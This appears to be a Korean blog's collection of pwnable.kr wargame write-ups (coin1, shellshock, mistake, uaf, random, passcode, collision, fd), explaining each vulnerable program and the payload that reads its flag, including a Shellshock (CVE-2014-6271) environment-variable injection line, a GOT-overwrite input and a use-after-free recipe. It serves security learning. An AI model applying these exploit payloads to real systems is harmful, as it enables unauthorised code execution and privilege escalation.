from pwn import *
import re
import time

def main():
        r = remote("pwnable.kr", 9007)
        res = r.recvuntil("Ready") + r.recvuntil("\x0a")

        print res 
        time.sleep(3)
        for i in range(100):
                res = r.recvuntil("=") + r.recvuntil("\x0a")
                info = res.split(" ")
                p = re.compile("\d+")
                for i in range(0,2):
                        info[i] = p.findall(info[i])
                N = int("".join(info[0]))
                C = int("".join(info[1]))

                print "N : {0}, C : {1}\n".format(N, C)
                src = 0 
                des = N 
                chance_check = 0 

                while src <= des:
                        chance_check += 1
                        dat = ""
                        mid = (src + des) / 2 

                        for i in range(src, mid + 1): 
                                dat += str(i) + " " 
                        r.sendline(dat)
                        weight = r.recv()

                        if int(weight) == 9:
                                break
                        if int(weight) % 10 == 0:
                                src = mid + 1 
                        elif int(weight) % 10 == 9:
                                des = mid - 1 

                for i in range(C - chance_check + 1): 
                        if int(weight) % 10 == 0 and i == 0:
                                dat = str(int(dat)+1)
                        r.sendline(dat)
                        res = r.recv()
                        print res 
        res = r.recv()
        print res 

if __name__ == "__main__":
        main()



'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr cmd1  (0) 2018.06.15
pwnable.kr input  (0) 2018.06.14
[pwnable.kr] shellshock 1p  (0) 2016.08.20
[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15


문제 화면입니다. bash에 관한 문제일듯 싶습니다.



4개의 파일이 있습니다.



bash파일을 실행하면 sub bashshell이 실행됩니다.



shellshock.c의 소스코드입니다. 권한상승 설정 후 system명령으로 shock_me라는 문자를 echo합니다.



이 문제의 이름이 힌트이자 취약점의 이름입니다. 구글링을 해봅니다.

이 취약점은 CVE-2014-6271로 등재되었습니다.


잠깐 설명하자면 bash 환경변수를 통한 코드인젝션이 가능한 취약점입니다.

1. Bash의 환경 변수에 함수정의를 이용해서 원하는 코드를 추가 할 수 있고, 다음 Bash가 사용될 때 추가된 코드가 실행됩니다.

2. CGI의 경우, HTTP Request 헤더가 환경변수에 저장이 되는 특성을 이용하여 원격 코드 인젝션이 가능합니다.


취약한 bash는 환경변수 세팅 후 ; 뒤에 임의의 코드를 집어넣으면 실행됩니다.


ex) env x='() { :; }; echo hi' bash -c "echo zz"

취약한 bash는 

hi

zz

로 출력 됩니다.



하지만 패치된 bash는 뒤의 zz만 실행됩니다.



문제 서버에는 패치가 되어서 zz만 나오지만 두번째 명령에 shellshock를 실행하도록 인자를 주면 둘 다 성공적으로 실행 됩니다.



따라서 exploit은 env x='() { :; }; /bin/cat flag' ./shellshock 입니다.


또한

$export x='() { :; }; /bin/cat flag'

$./shellshock

도 같은 방법입니다.



참고자료 : 

http://operatingsystems.tistory.com/entry/Shellshock-CVE20146271

http://juwon1405.tistory.com/6

'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr input  (0) 2018.06.14
pwnable.kr coin1  (0) 2018.02.19
[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29


힌트로 연산자 우선순위가 주어졌습니다.



홈에는 평소와 다르게 password라는 파일도 있습니다. 


소스파일을 살펴보겠습니다.

#include 
#include 

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

소스코드 의도대로라면  /home/mistake/password 파일에서 10바이트 받아와 pw_buf 배열에 입력하고,

사용자로부터 입력받은 10바이트를 pw_buf배열에 입력한 후

1과 xor연산을 해 pw_buf와 같으면 /bin/flag를 출력할 수 있도록 쉘을 딸 수 있습니다.

하지만 /home/mistake/password 파일을 권한이 없어서 읽을 수 없으므로 gdb를 이용해 풀으려고 했으나

이 방법으로 풀리지 않았습니다.


hint인 연산자 우선순위를 key word로 코드를 자세히 살펴보면

open함수와 read함수가 있는 곳이 약간 이상하다는것을 확인할 수 있습니다.

먼저 open함수가 있는 라인에서 if문을 보면 = 과 < 이 같이 있는데 이 둘의 우선순위는 <이 높습니다.

우선순위를 따져서 코드를 읽으면 open함수는 양수를 반환하고 양수 < 0 이 되므로 fd에는 false가 입력됩니다.

read함수가 있는 부분도 마찬가지로 우선순위가 의도한바와 다르게 되어있습니다.

근데 전에 fd에는 false가 입력되었고 이 값은 파일디스크립터 0이됩니다.

결국 사용자가 입력한 값을 읽어들입니다.


그럼 미리 xor될 값을 알게되므로 먼저 1111111111 을 입력합니다. 이 값은 pw_buf배열에 들어갈 것 입니다.

두번째로 (어떠한 값) XOR 1 = 1111111111 이란 식이 성립하므로

(어떠한 값) = 1111111111 XOR 1 = 0000000000 이므로 두번째입력에는 0000000000을 입력합니다.



'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr coin1  (0) 2018.02.19
[pwnable.kr] shellshock 1p  (0) 2016.08.20
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr] passcode 10p  (0) 2016.07.29



문제 화면입니다.

서버에 접속해서 문제를 확인해봅니다.


#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
        }
        virtual void introduce(){
Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

소스코드는 이렇습니다. uaf 취약점에 대한 문제라고 생각이 됩니다.

uaf란 Use After Free의 약어로 Heap 영역에서 발생하는 취약점 입니다.

동적할당시 free하고 전에 free한 메모리와 같은 크기의 메모리를 재할당을 할때 그 메모리 주소에 재할당을 합니다. 

이를 이용해 문제를 풀어보도록 하겠습니다.


gdb로 디버깅을 하면 아래와 같습니다.



uaf.cpp를 보면 case라는 분기문이 있습니다. 

op라는 값으로 1,2,3을 확인하는데 main+241 부분부터 보면 2,3,1 순서로 비교하는 코드가 있습니다.




1을 비교하는 부분을 살펴보기 위해 아래와 같이 bp를 걸어봤습니다.




그리고 run 후 1을 선택합니다.



$rax에는 1이 입력되었습니다. 이제 비교를 하겠네요.


비교하기전에 먼저 main함수를 다시 살펴보겠습니다.



rax가 1이니 main+258에서 main+265로 jump 할 것 입니다. 



이를 분석해보면 $rbp-0x38에는 0x0199d040이라는 주소가 들어있고 이주소는 0x401570을 가리킵니다. 

이 값은 Human클래스에 있는 give_shell()이란 함수입니다.

이를 통해 쉘을 따도록 해야하는것 같습니다.

다시 내용으로 돌아와서 main함수를 해석해보면 rbp-0x38이 가리키는 주소(0x0199d040)를 $rax에 mov합니다. 

그리고 다시 $rax가 가리키는 주소(0x401570)를 $rax에 mov합니다. 그리고 $rax+8(0x401578)을 $rax에 mov합니다. 

그리고 rdx에 함수 주소를 mov한 후 호출합니다. 이 함수는 introduce()입니다. 

저 rdx 값이 give_shell()이란 함수로 바뀌면 쉘을 딸 수 있습니다. 이제 어떻게 저기에 원하는 값을 입력할지 고민을 해봅시다.

분기문에서 2를 입력하면 argv[2]로 들어온 인자의 값을 이름으로 하는 파일을 read하고 data에 argv[1]의 인자로 들어온 값만큼 값을 읽어옵니다.


[$rbp-0x38]+0x8 = 0x401578

X + 0x8 = 0x401570

따라서 X = 0x401568 입니다.


/tmp/sso/file 이라는 파일을 생성합니다.



그리고 인자를 주어 실행합니다.



m과 w의 동적할당을 free로 해제하고 after로 give_shell()의 주소를 재할당한 후 쉘을 딸 수 있습니다.


'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] shellshock 1p  (0) 2016.08.20
[pwnable.kr] mistake 1p  (0) 2016.08.19
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr] passcode 10p  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27

문제에 접속해보겠습니다.


소스 코드를 읽어보면 rand 함수를 random이라는 변수에 초기화 시켜줍니다.

사용자에게 입력을 받고 그 값을 random과 XOR 했을때 0xdeadbeef가 되면 flag파일을 읽도록 합니다.


key ^ random = 0xdeadbeef 인데 식을 바꾸면

key = random ^ 0xdeadbeef 로 key를 알아낼 수 있습니다. rand()함수에 seed값을 주지 않으면 항상 같은 값이 나옵니다.(랜덤이라고 할 수 없겠죠.)


gdb로 random에 들어간 값을 찾아보겠습니다.


브레이크 포인트를 main+43에 걸고 파일을 실행하여 rbp-0x4에 들어있는 값을 보면 0x6b8b4567 입니다.

이 값과 0xdeadbeef를 XOR 연산하여 key 값으로 입력하면 flag파일을 열 수 있습니다.

0x6b8b4567 ^ 0xdeadbeef = 0xb526fb88 이군요 이를 10진수로 변환하면

=> 3039230856 입니다.




(추가)다른 풀이가 존재하여 적습니다.


ltrace 라는 툴을 이용해 rand값을 찾을 수 있습니다.


rand 함수의 라이브러리를 호출합니다. 뒤의 0x6b8b4567이라는 random 값이 있습니다.




'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pwnable.kr] passcode 10p  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27
[pwanble.kr 1번] fd 1pt  (0) 2016.07.27

이번 문제는 "컴파일러 경고를 누가 신경쓸까?" 라는 내용의 문제네요..

컴파일러 경고가 힌트인가봅니다.


소스코드를 자세히 살펴보면 scanf에 &가 없습니다. 여기서 compiler warning이 떴겠네요. 저 부분에서 문제를 해결 해보도록 하겠습니다.


하라는대로 했는데 seg fault에러가 뜹니다.

먼저 scanf 사용시 대상 변수가 char로 선언되어 있는 경우 초기 값은 주소와 동일하기 때문에 ‘&’ 없이 그냥 사용해도 됩니다. 반면 int로 선언되어 있는 경우 ‘&’ 없이 사용하면 변수자체가 주소가 되며 그 주소에 입력한 값이 들어갑니다.

그리고 리눅스에서 fflush의 인자로 표준 입력이 들어 오면 아무런 동작을 하지 않는다고 합니다.

즉, 리눅스에서는 fflush에 의해 ‘\n’이 버퍼에서 비워지지 않기 때문에 다음과 같이 프로그램을 실행하면 passcode1=338150, passcode2=’\n’이 됩니다.

welcome() 함수의 name은 ebp-0x70에 위치합니다. 100글자를 입력할 수 있습니다.


login()함수의 passcode1은  $ebp-0x10에 위치합니다. 0x70-0x10=0x60=96 이므로 총 4바이트를 조작할 수 있습니다. 

따라서 fflsuh의 GOT를 조작하여 system(“/bin/cat flag”)로 이동시키면 문제가 풀립니다.

("A"*96+exit@got) 값으로 name을 채우고 passcode에 system(“/bin/cat flag”) 주소를 주면 됩니다.


먼저 exit 함수의 주소는 readelf로 확인합니다.


exit => 0x0804a018


system("/bin/cat flag")의 주소는 gdb로 확인합니다.

=> 0x080485e3

이것을 10진수로 변환해서 입력해줍니다. 

그리고 seg fault가 발생하는것을 막기위해 passcode2에 문자를 입력하면 됩니다.


(python -c 'print "A"*96+"\x18\xa0\x04\x08"+"134514147\n"+"a\n"';cat) | ./passcode


flag가 나왔습니다. 

정말 어렵네요..


'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27
[pwanble.kr 1번] fd 1pt  (0) 2016.07.27

pwnable.kr의 두번째 문제입니다.


계정의 홈 폴더에는 역시나 첫번째 문제와 같이 세 개의 파일이 존재합니다. 


소스코드를 살표보면 char형 포인터를 인자로 받는 함수가 있습니다. 이 함수(check_password)는 char형 포인터를 int형 포인터로 Type Casting 합니다.

그리고 char형은 1byte, int형은 4byte의 크기를 가지므로 for 문에서는 들어온 char형 사이즈를 4byte로 5번씩 나누어 res변수에 더해집니다.


main 함수에선 인자를 1개 받도록 하였고, 인자의 사이즈가 20byte여야 합니다. 그리고 hashcode와 check_password된 argv[1]의 값이 같게 되면 collision2의 권한으로 /bin/cat 명령을 수행할 수 있습니다.

0x21DD09EC / 5 = 0x6C5CEC8

0x21DD09EC % 5 = 4


0x21DD09EC = 0x6C5CEC8*4 + 0x6C5CECC

이므로 인자로 6C5CEC8을 4번, (6C5CEC8+4)를 1번 입력해주면 hashcode와 같게 됩니다.

Intel CPU의 바이트 오더링은 Little Endian 방식이므로 2바이트씩 뒤집어서 입력해줘야 합니다.


ex) 0x6C5CEC8 - > \xC8\xCE\xC5\x06


이제 인자로 이 값을 넣어주겠습니다. 저는 스크립트 언어인 python을 이용하였습니다.

collision2 쉘을 획득하여서 /bin/cat 명령을 성공적으로 수행했습니다.

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr] passcode 10p  (0) 2016.07.29
[pwanble.kr 1번] fd 1pt  (0) 2016.07.27

file 디스크립터에 대한 문제인듯 합니다.


문제 계정 홈에는 총 세가지의 파일이 있습니다.

실행 파일 fd, 소스파일 fd.c 그리고 flag 파일이 있습니다.

fd 파일을통해 fd2의 쉘을 획득하여 flag 파일을 읽으면 문제를 해결할 수 있을듯 합니다.


atoi 함수에 관한 설명입니다.

설명

10진 정수 문자열을 정수로 변환합니다.

      1. 문자열에서 10진 정수 숫자 문자 뒤의 일반 문자는 취소되며, 10진 정수 숫자 문자까지만 숫자로 변환됩니다. 
      2. 10진 정수 숫자 문자 앞의 공백문자는 자동 제거되어 10진 정수 숫자 문자까지만 숫자로 변환됩니다. 
      3. 공백 및 10진 정수 문자가 아닌 문자로 시작하면 0을 반환합니다.

read 함수에 대한 설명입니다.

설명

open() 함수로 열기를 한 파일의 내용을 읽기를 합니다. 

헤더unistd.h
형태ssize_t read (int fd, void *buf, size_t nbytes)
인수int fd파일 디스크립터 
 void *buf파일을 읽어 들일 버퍼 
 size_t nbytes퍼버의 크기 
반환ssize_t정상적으로 실행되었다면 읽어들인 바이트 수를, 실패했다면 -1을 반환


문제에서 fd값이 0이되면 값을 임의로 입력할 수 있습니다. 

따라서 int fd = atoi(argv[1]) - 0x1234 에서 fd에 0이 들어가도록 하면 됩니다.

argv[1]에 0x1234의 10진 정수문자열 값인 4660을 인자로 주면 atoi 함수가 정수로 변환 해주니 fd는 0으로 초기화 됩니다.


입력을 기다리고 있습니다.

strcmp 함수가 0이 되도록 하려면 LETMEWIN을 입력합니다.


fd2의 권한으로 flag 파일을 /bin/cat 명령으로 읽었습니다.


'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr] passcode 10p  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27

+ Recent posts